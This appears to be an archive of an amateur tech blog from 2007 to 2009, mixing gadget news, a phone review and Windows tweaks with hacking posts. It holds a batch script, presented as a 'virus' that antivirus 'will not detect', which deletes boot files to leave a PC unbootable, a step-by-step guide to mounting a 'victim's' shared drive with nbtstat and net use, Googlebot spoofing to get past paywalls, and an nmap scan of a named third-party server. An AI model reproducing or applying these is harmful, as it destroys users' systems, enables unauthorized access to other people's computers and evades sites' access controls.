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Secret Entry To Many Websites Using Googlebot

2009-03-22T00:32:00.003+05:30

You must have gone thourgh this many times when you ask Google to look something up; and the engine returns with a number of results, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first....
The lesson you should have learned here is: Obviously Google can go where you can't.

This problem can be easily supassed by identifying urself as Google to the required website.

In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.
Examples of such sites are .Net Magazine, Nature, and many, many newspapers around the globe.

How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"

You may always change it back again.... I know only one site that uses you User Agent to establish your eligibility to use its services, and that's the Windows Update site..To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Finding Open Ports in a web server

2009-03-22T00:25:00.002+05:30

Required Software- Nmap

Step 1: Download Nmap tool from the site www.insecure.org/nmap

Step 2: Install it in ur system.

Step 3: Go to command promt and just go to the path of the drive in which nmap is installed.

E.g:- c:\nmap>

Step 4: Now this is the command to type.

For example if u want to know about the open ports of Yahoo server.

c:\nmap> nmap -sT -p 40-225 www.yahoo.com

From the above command 40-225 are the port numbers of the server that are being checked.You can give any number of port numbers that you want , just try this one and see.
netstat -n
try this command..this will giv u all the ips along port..o r connected..
or u may try netstat -a

Make Your Own Auto-Shutdown Timer!!!

2008-02-06T16:50:00.000+05:30

There are basically three ways to make an auto-shutdown timer. These are all DoS tricks. U may be knowing if u r good in DOS. Its very easy and does not any external software.

Method 1:-
This method is implemented by creating a batch file and providing the time in which the computer needs to be shutdown.

Create a file ""shutdown.bat"

Type the following code:

@echo off
title Scheduled Shutdown Batch Example by chacha1234
color A
echo Enter Time To Shutdown (example 19:30)
set /p stime=
cls
at %stime% ""shutdown -s -t 00"" >nul
echo PC Will Shutdown At %stime%
echo Press Any Key To Exit
pause >nul
exit

METHOD 2:-

Here is another trick to shutdown at a specific time, for example you wish to shutdown at 10:45am.

Then Goto Start->Run
Type Code: at 10:45 shutdown -s

To Abort The Auto-Shutdown

Code: shutdown -a

take note: all time are in 24hr, example u would like to shutdown at 9:30pm, you should type
"at 21:30 shutdown -s" without quotes

METHOD 3:-

Step 1:
Right click on your desktop and choose "New->shortcuts".

Step 2:
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t xxxx" without the quotation marks and click next.

Note: xxxx are the amount of seconds before your computer shuts down.
For example If u want to auto-shutdown after 1 hr then type "3600" without quotes because 60secs*60mins=3600secs.

Step 3:

Make up a name for the shortcut and you're done.
You can change the icon by right c=>properities=>change icon=>browse.

To abort

To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.

Hacking MSN Messenger Through Resource Hacker- Part 1

2008-01-18T14:50:00.000+05:30

It is a simple tutorial on how to use Resource Hacker to remove buttons/banners from MSN Messenger v7.0.0604 . You must 'Compile Script' after you edit something, if you forget, it will prompt you to do so the next time you search for text.

Note:- I have given "{}" at the end and beginning of CODES. U have to replace them with "<>" to make it run successfully.

First of all open Resource Hacker, then open msnmsgr.exe

Main Contact List Window

Removing the MSN Today Button
Find (Ctrl+F):
Result: UIFILE > 923 > 1033

Code:
{cmdbutton cmdid=40234 id=atom(msntodaybtn) class="ToolbarBtn" layout=flowlayout(0,2,0,2) AccName=rcstr(4231) AccRole=57 AccDesc=rcstr(4230) ShortcutString=rcstr(4229)}

Delete id=atom(msntodaybtn)
Change layout=flowlayout(0,2,0,2) to layoutpos=none

Final result should look like this:
Code: {cmdbutton cmdid=40234 class="ToolbarBtn" layoutpos=none AccName=rcstr(4231) AccRole=57 AccDesc=rcstr(4230) ShortcutString=rcstr(4229)}

Removing the My Space Button
Find (Ctrl+F):

Result: UIFILE > 923 > 1033
Code:
{cmdbutton cmdid=40421 id=atom(spacebtn) class="ToolbarBtn" layout=flowlayout(0,2,0,2) AccName=rcstr(4257) AccRole=57 AccDesc=rcstr(61769) ShortcutString=rcstr(4256)}

Delete id=atom(spacebtn)
Change layout=flowlayout(0,2,0,2) to layoutpos=none

Final result should look like this:
Code: {cmdbutton cmdid=40421 class="ToolbarBtn" layoutpos=none AccName=rcstr(4257) AccRole=57 AccDesc=rcstr(61769) ShortcutString=rcstr(4256)}

Removing the Add Contact Button
Find (Ctrl+F):
Result: UIFILE > 923 > 1033

Code:
{cmdbutton id=atom(idAddContact) cmdid=40282 class="TasklistBtn" layout=flowlayout(0,2,0,2) background=ifhc(window, gradient(rgb(222,229,247), rgb(242,242,250), 1)) bordercolor=ifhc(buttonshadow, rgb(214,220,242)) borderthickness=rect(1,1,1,1) padding=rect(3,2,3,2)}

Delete id=atom(idAddContact)
Change layout=flowlayout(0,2,0,2) to layoutpos=none

Final result should look like this:
Code: {cmdbutton cmdid=40282 class="TasklistBtn" layoutpos=none background=ifhc(window, gradient(rgb(222,229,247), rgb(242,242,250), 1)) bordercolor=ifhc(buttonshadow, rgb(214,220,242)) borderthickness=rect(1,1,1,1) padding=rect(3,2,3,2)}

Removing the Search Bar
Find (Ctrl+F):
Result: UIFILE > 923 > 1033

Code:
{element id=atom(idSearchContainer) layout=borderlayout() padding=rect(1,4,1,3)}

Change layout=borderlayout() to layoutpos=none
Change padding=rect(1,4,1,3) to padding=rect(0,0,0,0)

Final result should look like this:
Code:{element id=atom(idSearchContainer) layoutpos=none padding=rect(0,0,0,0)}

Removing the Ad Banner
Find (Ctrl+F):
Result: UIFILE > 923 > 1033

Code:
{element layoutpos=top layout=verticalflowlayout(0,2,2,2) padding=rect(2,0,3,2)}

Change layoutpos=top to layoutpos=none

Final result should look like this:
Code:{element layoutpos=none layout=verticalflowlayout(0,2,2,2) padding=rect(2,0,3,2)}

2008-01-18T14:19:00.000+05:30

myLot User Profile

Cool Virus To Crash Your Own PC

2007-12-19T17:16:00.000+05:30

A game with urself using dos commands. Play this game at your own risk.

Open Notepad-

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
@echo off
msg * YOUR COMP IS CRASHING
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive

save as bat file

This will shut down the computer never to reboot again!

Type this in notepad and save as with this name .bat
The antivirus will not detect this virus as it is only a code.

Basically this program will delete all that files which are needed for booting
If your operating system is installed in d drive instead of c then replace c with d.

Hacking Using DOS

2007-12-19T16:36:00.000+05:30

Step 1
Get an ip scanner like ANGRY IP SCANNER
Scan the Victims ip. Otherwise Get him using netstat command.

Step2
Open a dos prompt by going to start/run
type "cmd" in the run box.Press OK.

this is what u will see:
C:\Documents and Settings\>

c:windows>nbtstat -a 255.255.255.255

U will see:

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------------------------
user<00> UNIQUE Registered
workgroup <00> GROUP Registered
user <03> UNIQUE Registered
user <20> UNIQUE Registered

MAC Address = xx-xx-xx-xx-xx-xx
---------------------------------------------------------------

If you don't get the number <20>.
The victim disabled the File And Printer Sharing, find a another victim.

Step 3

type :
c:windows>net view 255.255.255.255
The Output will be:

Shared resources at 255.255.255.255

Sharename Type Used as Comment

CDISK Disk xxxxx xxxxx

The work is done.

"DISK" shows that the victim is sharing a Disk named as CDISK

Step 4

type down:
replace x: by anything letter you want but not your own drive letters.(Not compulsory)
CDISK is the name of the shared hard-drive.

c:windows>net use x: 255.255.255.255CDISK

If the command is successful we will get the confirmation.
The command was completed successfullly

Now open windows explorer or just double click on the My Computer icon on your
desktop and you will see a new network drive X:> .
Now your are in his system.
Check out guyz....

Microsoft Windows Vienna

2007-06-17T12:55:00.000+05:30

Hardly a month after releasing its latest operating system, Windows Vista than Microsoft is set to work on its new operating system, Windows Vienna. Although specific details of this new operating system are not available, it will take 2½ years before the users can lay their hands on it.Microsoft Next major launch of windows versions is Windows Vienna.this is going to be done by 2009, since Microsoft has been working on this since before Vista development started, and it was only pushed back since it was too ambitious a goal to make in time for a normal release. And since it was obvious that XP needed to be replaced with something more secure, Vista was a stopgap that included a lot of the technologies that were slated for Vienna (known before as Blackcomb).

The next major version of Windows client set to follow Windows Vista is no longer known as "Blackcomb." The new name is "Vienna," Microsoft officials have confirmed. Tech evangelist Robert Scoble let the Vienna cat out of the bag over on Channel 9. We were skeptical, given the fact that Microsoft recently used the Vienna name to refer to Live Communications Server 2005. But here's the official statement from a company spokesman: "The codename for Blackcomb has changed to 'Vienna'. This does not reflect a big change for us; we have used city code names in the past. These code names are derived from cities/locations in the world known for great 'vistas'. The kinds of places we all want to see, experience and that capture the imagination. Vienna fits with this concept. There are no additional details to share about Vienna at this time."

Blackcomb was always supposed to be a successor to Whistler (XP) which is obvious in the name alone - Whistler and Blackcomb are two mountains in British Columbia. Longhorn was thrown into the mix since (as I said before) Blackcomb would not be ready, Longhorn being a popular club in the same ski resort.

Microsoft is tightlipped about the potential features of this new operating system. Vienna is the code name for the new OS and speculations are rife about the benefits that customers may derive from this. But we can be certain that both the business and private customers of Microsoft operating systems will experience a whole new world of computing with the introduction of Microsoft Vienna.Microsoft will most likely look to load its new OS with advanced features such as voice-activated computing and support for touch-screen features.

Although Microsoft is not divulging any details about Vienna, hints about the new operating system were dropped at the release of Windows Vista. In this event, Microsoft CEO Steve Ballmer felt that as the entertainment and information technologies evolve together customers are going for systems that combine these two. If a computer needs to support sophisticated forms of digital entertainment, its operating system should have capabilities that go well beyond Windows Vista. Microsoft is also aware of the fact that Vista is somewhat old wine in a new bottle. Vista still uses the same basic graphical user interface, which is in existence from the time Microsoft introduced Windows operating systems.

Vienna can also be an ideal platform to deliver the Windows Live initiatives from Microsoft, which includes search, e-mail, and social networking tools. Experts opine that Microsoft Vienna will be less client-centric than its predecessors and will act as a channel between the desktop and a host of services that Microsoft plans to deliver through Windows Live initiatives.

Vienna can also be a gateway for Windows users to access their PC from anywhere. Recently, Microsoft chairman Bill Gates (News - Alert) had suggested that the company is working to make Windows operating systems to allow users to have access to their files, regardless of the PC they are using.

With the web 2.0 wave taking over the internet, Microsoft is looking tackle competition from Google and other Web 2.0 players who are already offering Webtop applications. Clearly, the future leadership of the big bad world of internet belongs to those who understand the web 2.0 concepts and deliver products and services that support or enhance this concept. Companies like Google are already fine tuning their products to explore this new avenue. But with its huge reach and technical support system, Microsoft can still make a mark in the web 2.0 arena, even though it’s a late entrant in this field.

Cool Gadgets

2007-06-13T08:09:00.000+05:30

USB Desktop Bouncer - Keeps Intruders off your PC

This is the best USB which has a motion activated bouncer to keep u safe and not let others to use ur devices.

To help protect your PC ( bouncer comes out with the following ‘ard phrases:
‘You’re not welcome ‘ere’
‘Your name’s not down, you’re not comin’ in’
‘You’re not comin’ anywhere near here lookin’ like that’
‘Not today mate’
‘You’re cruisin’ for a bruisin”

Mickey’s ears control tunes

Disney’s most famous character, Mickey Mouse, will make yet another appearance in the world of MP3 players, and this time it comes in the form of the iRiver Mplayer. This MP3 player actually has the form factor of Mickey’s head in 3D, and looks as though a trio of balloons have been tacked on top of each other. The unmistakable Disney logo is located behind, while the volume control is located on one ear with track changing buttons situated on the other ear.

If you have always wanted to pinch Mickey’s ears, getting this iRiver Mplayer would give you that opportunity. There is no word on its pricing, although we do know that it will see action in Asia later this month. I must say the design is rather unwieldy, and you would have a pretty hard time trying to stuff this down your pockets.

MP3 Playing Floating Wave Machine

If you enjoy listening to tunes whilst soaking in the bath then this is the coolest way to do it. The JVC XA-AW33 MP3 player (catchy name) not only plays it also creates waves in time to the music.

The XA-Something-or-other has a capacity of 256 MB and floats between your knees at bath time. Along with the rippling waves it also produces a “soothing” light show, sort of like a disco in your bath.

Spidey Ganesha

2007-06-06T12:28:00.000+05:30

This photo is from Mumbai. The greatest God for the people of Mumbai, Lord Ganesha, is now affected by the wind of Spiderman-3.This image reflects that not only people of India but also the Indian Gods have started following the western trends.

Boost Up Your PC Ride

2007-05-19T01:43:00.000+05:30

To Increase System Performance
Right click on "My Computer"
Goto:- properties
Click advanced.
Click settings (under performance).
Click Adjust for best performance.
Scroll to the bottom and check the last one use visual styles on windows and buttons.

How to Disable XP's crap built in CD Burner
Click the start button.
Select Run.
Type services.msc and click OK
Go to IMAPI CD-Burning Com Services open it and click on start up type, change to "Disabled".

Fine Tune Your Systems Memory
(These Settings will fine tune your systems memory if you have at least 256MB of ram to do this)

Go to Start > Run then type in REGEDIT -and then to the following key:
HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Control\Session Manager\
Memory Management

1.DisablePagingExecutive -Double click it and in the decimal put a 1 - this allows XP to keep
data in memory now instead of paging sections of ram to hard-drive yields faster performance.

2.LargeSystemCache- Double click it and change the decimal to 1 -this allows XP Kernel to Run
in memory and improves system performance a lot.

3.IOPageLockLimit - Create a new DWORD value and name it double click it and set the value in hex - 4000 if you have 128MB of ram or set it to 10000 if you have 256MB set it to 40000 if you have more than 512MB of ram -this tweak will speed up your disk cache.

Reboot

Disable Unwanted Services

Windows XP Pro runs a lot of services by default that are not required if your not on a corporate network. the following services are ones that I safely disable thereby freeing up memory but before doing it check what each one does first to make sure your not using it for something:

Go to Run and type "services.msc", right click on each service, properties and choose disable.

Alerter
Application Layer Gateway Service,
Application Management
Automatic Updates
Background Intelligent Transfer
Clipbook
Distributed Link Tracking Client
Distributed Transaction Coordinater
Error Reporting Service
Fast User Switching Compatibility
IMAPI CD-Burning
Indexing Service
IPSEC Services
Messenger
Net Logon
Net Meeting
Remote Desktop Sharing
Network DDE
Network DDE DSDM
Portable Media Serial Number
Remote Desktop Help Session Manager
Remote Registry
Secondary Logon
Smartcard
SSDP Discovery Service
Telnet Themes
Uninterruptible Power Supply
Universal Plug and Play Device Host
Upload Manager
Webclient
Wireless Zero Configuration
WMI Performance Adaptor

Disable DLL Caching
Windows Explorer caches DLLs (Dynamic-Link Libraries) in memory for a period of time after the application using them has been closed. This can be an inefficient use of memory.

1. Find the key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrentVersion\Explorer].
2. Create a new DWORD sub-key named 'AlwaysUnloadDLL' and set the default value to equal
'1' to disable Windows caching the DLL in memory.
3. Restart Windows for the change to take effect.

Tweak The Prefetch
1. Run "Regedit"
2. Goto [HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Contro l\Session
Manager\Memory Management\PrefetchParame ters\EnablePrefetcher]
3. Set the value to either 0-Disable, 1-App launch prefetch, 2-Boot Prefetch, 3-Both
("3" is recommended).
4. Reboot.

It will decrease the boot time but double and increase the performance of your XP.

iGoogle

2007-05-04T19:45:00.000+05:30

Google has renamed Personalized Homepage to iGoogle. Using of 'i' is not a trend. And there is no dearth of such names in the market.. iHome line of products, iPlayer (soon to be launched) from BBC, etc. It just seems to me that everybody is trying to cash in on the Apple iPod’s name success!

iGoogle is an application that focuses on implementing Google`s technology – and search technology in general – into different mediums. iGoogle has 4 main features: Google Search, Google Mail, Desktop Search and News Search. All of which can be configured using the Settings feature and optimized to their full ability using the Support feature.Google also is expanding iGoogle globally to new languages and countries, reaching 26 languages and more than 40 countries, and launching themes for iGoogle users located outside the United States.

Facts make iGoogle cool and effective:-

1 Get results faster by searching Google from your desktop.
2 Be informed of new messages in your Gmail account periodically.
3 Find things a lot faster by searching your computer easily.
4Find insight in the latest headlines and news from Wired News.
5 Preview a web page before visiting it in Google Search.
6 Get update information by iGoogle`s Live Model
7 Search history with only a click.

A couple of example of how this might work is that search results can be personalized based on your recent search history. If you have recently searched on "maserati", and then type in "jaguar", the auto results will receive a boost over the animal. Or if you type in pizza, and you have set a default location in Google Maps, you will get information on pizza places near you.

Google adds to this the ability to create your own gadgets – or at least tweak the settings within new templates. Options include a photo album into which you can stick seven shots, a YouTube gallery for your favourite videos, a “to do” list and Daily Me, a gadget that features details of what you’re up to that day. You can share these gadgets with your Gmail contacts through the ne "MY COMMUNITY" section. This means anyone can create a gadget without any knowledge of web development. This is certainly taking social media to the masses and could also provide a way for small businesses to create cool tools relating to their business that could help to spread the word about them online.

I love lot of Google products but iGoogle isn’t one of them. The reason for my lackluster review about iGoogle is because Netvibes and other personal homepage products like PageFlakes have all these features already and have implemented it better. The use of screen real estate is much better in Netvibes which means I can cram more feeds into every tab without having to scroll.

Launching Of Indian Portals

2007-05-03T10:28:00.000+05:30

In this present world world every MNC is launching its own portal. India is recently becoming the IT extraction centre for the whole world. Although Sify was taking steps in this respect from quite a longer time the introduction of AOL's India portal is a big buzz. AOL is channelizind itself much towards indian system like the introduction of bollywood and Indian city guide.

Sify Launches Broadband Portal For Hyderabad

.After its launch of broadband portals mumbailive.in and bangalorelive.in, Sify has launched the Hyderabad version of the portal, www.hyderabadlive.in in the city yesterday. The portal is largely video-centric with an extensive coverage of the Telugu film industry.Sify has developed some exclusive videos for the portal featuring hosts, which it calls ‘net jockeys’, reporting on the events in the city. This is besides the usual listings on what’s happening in Hyderabad. The traffic channel streams from live web-cams placed at key junctions in the city to help people choose their routes. The news on the portal is both in English and Telugu.

HyderabadLive.in will showcase Hyderabad-centric video content created for an online audience and will focus on city news and events, entertainment, celebrities, lifestyle, commerce and politics.Hyderabad’s net users to publish their news and participate in discussions and upload images and videos by sending an SMS to a short code (4545). The messages appear as a ticker on the portal.

Speaking at the launch, Raju Vegesna, chairman and managing director, Sify Limited, said "We aim to make Hyderabadlive a high-quality entertainment destination, especially for the youth of the city. This is the medium they are increasingly comfortable with, and we will provide them compelling content in video to bring the city to life on the net".

AOL Launches India Portal

AOL’s India portal offering a host of services that, well, we have heard of before from other players of the net like email, instant messaging, local news and information. They’ve also launched AOL Messenger, and incorporated content focusing on Bollywood, Cricket, Hollywood, News, Sports and International music. There’s also a City-Guide and a Guru channel with advice from local and international experts.

AOL President and COO Ron Grant believes that AOL is one of just four companies with the scale, network infrastructure and resources to compete at a global level, and they’re looking to leverage that in India. The others, I suppose, are Google, Yahoo and MSN, though India has its own share of media companies in this space including Indiatimes (owned by the Times of India group) and Rediff. AOL is looking to target an Internet population that is reported to be about 94 million by 2008 and 147 million by 2010.

The City Guide currently features content from Chennai, Hyderabad, Kolkata and both text and video content for Bangalore, Delhi and Mumbai. For mobile, they’re using a short code 51515/16, which I don’t recognize - have they gotten their own? The similarity of the AOL India main page with Yahoo India is striking... well, the design is similar to the AOL.com design.

Sony Ericsson W880i Review

2007-04-28T13:27:00.000+05:30

Simply a stunning piece of industrial design, Sony Ericsson's latest entry into the Walkman range is one of the thinnest 3G mobile phones ever released. The W880i features a sleek, brushed steel face, a 2 megapixel camera, push email support, and a 1GB Memory Stick Micro (M2) - all of this squeezed into a device measuring just 9.4mm thin.
With the W880 Sony Ericsson hopes to have the same success as with previous walkman phones. "Our Walkman phones have proven to be phenomenally attractive to our consumers - we have sold 20 million Walkman phones since launch - and we are continuously developing the portfolio to extend their appeal," says Steve Walker, Head of Product Marketing at Sony Ericsson.

Appearance and design
Dimension: 90 x 47 x 15 mm; weight: 115g.

At 9.4mm, the W880i is possibly Sony Ericsson's slimmest phone so far and ranks among the thinnest 3G candy bars in the cellular market today. The Samsung Ultra Edition 8.4, which is currently one of skinniest 3G candy-bar phones, measures 1mm thinner, but sports a slightly wider and longer footprint.

Despite its thin form factor, the W880i feels solid, thanks to its sturdy construction and stainless steel front cover. The rubberized finish used for the rear casing also provides a firm grip, a thoughtful feature for slim models since there's a greater tendency to slip. Overall, we found the W880i lightweight at 71g and slim enough to slip easily into tight pockets.

Like most Walkman phones, the W880i is designed to stand out from the conventional grey or black handsets with its bright colors. The unit loaned to us, which sports the trademark orange and black tones, will appeal to those who want an eye-catching mobile. Those who fancy more subtlety and elegance will find the silver-grey edition more attractive.

Keypad

Being so compact, the W880i naturally has small controls and buttons. These consist of a five-way navigational pad (with Walkman controls), two selection buttons, back and clear keys and dedicated buttons for Internet and shortcuts. Obviously most would prefer larger keys, but once users are familiar with the phone's interface, they work quite well. The only complaint is with the Internet key; you can bump it accidentally while using the back or selection keys.

The W880i's keypad consists of three clearly defined rows of thin, chrome keys. Although small, they are very responsive, and the generous spacing between keys means that users should be able to achieve reasonable, if not lightning fast messaging speeds. Both the keypad and controls have a bright, white backlight, so using the phone in the dark isn't a roblem. Despite being so thin, Sony Ericsson hasn't failed to include any controls.

Additional buttons

I didn’t like the tiny rocker switch on the right side panel as this requires a bit of dexterity to use for adjusting the volume or zooming into an image. For all their size, the Walkman and camera buttons on the sides proved surprisingly responsive, possibly because they are single buttons.

Sizes, Ports and Slots

The left side of the W880 incorporates the regular Fast port used for charging and for connecting the headset and the USB cable. Just below it still on the same left side one can see the cap of the Memory Stick Micro M2 memory card slot which offers true hot-swap functionality. The Fast port seems a little bit out of place here, and we would have liked it better if it had a cap on.

The SIM card bed is not the usual Sony Ericsson one. The slot is positioned in the bottom part of the battery housing and the SIM card is rather easy to get in or out - just the opposite of the situation with the rest of the Sony Ericsson mobiles.

Display
TFT, 240х320, 262 000 colors

The display measures just 1.8 inches and is capable of showing up to 262 000 colors it uses TFT technology and has QVGA resolutions (240x320 pixels) , it can accommodate up to 8 text and 3 service lines. The quality of the screen is great, all the color are bright and vivid.The display shares the same specs as the K800i,but in real conditions the K800i show a better picture than the W880i because of the 2 inch diagonal.

Camera
2Mpx, Video, ZOOm

The W880i is a 3G phone, so it includes dual cameras - a 2 megapixel camera on the rear for taking photographs and a VGA camera on the front for video calling (which can't be used for taking photos). Unfortunately, the camera doesn't include auto focus or a flash, but it does have 2.5x digital zoom. Although not suitable for any sort of serious photography, the W880i camera should be enough to keep users happy for the odd photo thanks to panorama, frames and burst shooting modes, night mode, a 10 second self-timer, black and white, sepia and negative effects as well as the ability to adjust white balance.

The W880i can also record video (with sound thanks to the built-in microphone), but its quality is below average at best. Photos can be stored on either the 16MB of internal memory, or the included 1GB Memory Stick Micro (M2).

Menu

The menu is typical for any latest phone from Sony Ericsson.The main menu is composed by 12 icons placed in a grid. You can assign shortcuts to most menu items very easily.If you press the "#" key a list of the available languages pops and you can easily switch between.

The W880i also offers plenty of entertainment options. In addition to the Walkman feature, there is a video player and games, as well as some of Sony Ericsson's proprietary applications such as VideoDJ, PhotoDJ and Music DJ. There's also remote control and sound recording functions as well as Bluetooth 2.0 and USB 2.0 connectivity, with Sony Ericsson including a USB cable in the sales package, along with the latest version of their PC Suite software. Unfortunately there is no included FM radio.

Push email support is a feature of the W880i, and it also offers regular SMS and MMS messaging with T9 predictive text input. The Sony Ericsson email client supports POP3 and IMAP protocols and it is capable of managing several accounts simultaneously. Users can choose to download only headers or headers and text, and the W880i can automatically check for new emails at a preset time.

The key feature of the W880i, however, is still its digital music player which is easily accessible by pressing the tiny Walkman button on the right. It runs the Walkman 2.0 player which can be found on the newer Sony Ericsson handsets such as the W850i and the recently unveiled W660i. The second-generation music player features an updated, more user-friendly interface that allows users to add album clipart and manage playlists. It also adds stereo widening, visualization and skin effects on top of the equalizer and play mode functions. I like that the player allows you to run music in the background while performing other tasks such as SMS texting or surfing the Web.

Imaging
Digital Camera
2.5 x Digital Zoom
Macromedia Flash Lite™
SVG Tiny 1.1
Video Record
Video Player
Video Clip
Video Streaming
Video Call
Picture Blogging
VideoDJ™
Picture Wallpaper
Wallpaper Animation

Messaging
SMS (Text Messaging)
MMS (Multimedia Messaging)
SMS Long
Email
Push Email
Predictive Text
Sound Recorder

Sound
Walkman® 2.0 Music Player
Polyphonic Sound
Music Tones
MusicDJ™
PlayNow™
TrackID™
Mega Bass™
Melody Composer
Bluetooth™ stereo (A2DP)

Entertainment
3D Games
Java™ Games

Organiser
Phone Book
Alarm Clock
Stopwatch
Timer
Business Card Exchange
Calculator
Calendar
Contacts
File Manager
Flight Mode
Notes
Tasks
Conference Calls
Speakerphone
Vibrating Alert

Connectivity
3G
Bluetooth™
Fast Port
GPRS
UMTS
USB

Network
Tri Band Technology (GMS 900, GSM 1800 & GSM 1900)
UMTS 2100

Internet
Web Browser
RSS Feeds

Memory & Talk Time
16 Mbytes Memory Plus Memory Stick Micro™
Talk Time TBC
Standby TBC

Weight & Size
71 g
103 x 46.5 x 9.4 mm

Pluses
Slim
Attractive design
Solid build quality
1GB memory card
3G
Loud speakers

Minuses
No autofocus and flash
Buttons are too small
No FM radio
Tinny sound quality

Conclusion
The model is due out in the end of March at a price of not less than 400 Euro. The model causes commotion among both women and men – it does catch everyone’s eyes. No one among those, who had a chance to play around with it, has remained indifferent and cold to it, the W880i is a portion of candies for your eyes. This model is a sort of a milestone, which means that it will be successful and demanded on the market.

Optimize Broadband & Dsl Connections

2007-04-28T01:59:00.000+05:30

These settings allow you to boost the speed of your broadband Internet connection when using a Cable Modem or DSL Router with Windows 2000 and Windows XP.Open your registry and find the key below.

Create the following DWORD values, as most of these values will not already exist you will need to create them by clicking on 'Edit -> New -> DWORD Value' and then set the value as shown below.

DefaultTTL = "80" hex (or 128 decimal)
Specifies the default time to live (TTL) for TCP/IP packets. The default is 32.

EnablePMTUBHDetect = "0"
Specifies whether the stack will attempt to detect Maximum Transmission Unit (MTU) routers that do not send back ICMP fragmentation-needed messages. The default is 0.

EnablePMTUDiscovery = "1"
Specifies whether the TCP/IP stack will attempt to perform path MTU discovery as specified in RFC 1191. The default is 1.

GlobalMaxTcpWindowSize = "7FFF" hex (or 32767 decimal)
Specifies the system maximum receive window size advertised by the TCP/IP stack.

TcpMaxDupAcks = "2"
Determines the number of duplicate ACKs that must be received for the same sequence number of sent data before "fast retransmit" is triggered.

SackOpts = "1"
Enables support for selective acknowledgements as documented by Request for Comment (RFC) 2018. Default is 0.

Tcp1323Opts = "1"
Controls RFC 1323 time stamps and window scaling options. Possible values are: "0" = disable RFC 1323 options, "1" = window scale enabled only, "2" = time stamps enabled only and "3" = both options enabled.

TcpWindowSize = "7FFF" hex (or 32767 decimal)
Specifies the receive window size advertised by the TCP/IP stack. If you have a latent network you can try increasing the value to 93440, 186880, or 372300.

Exit your registry and restart Windows for the changes to take effect.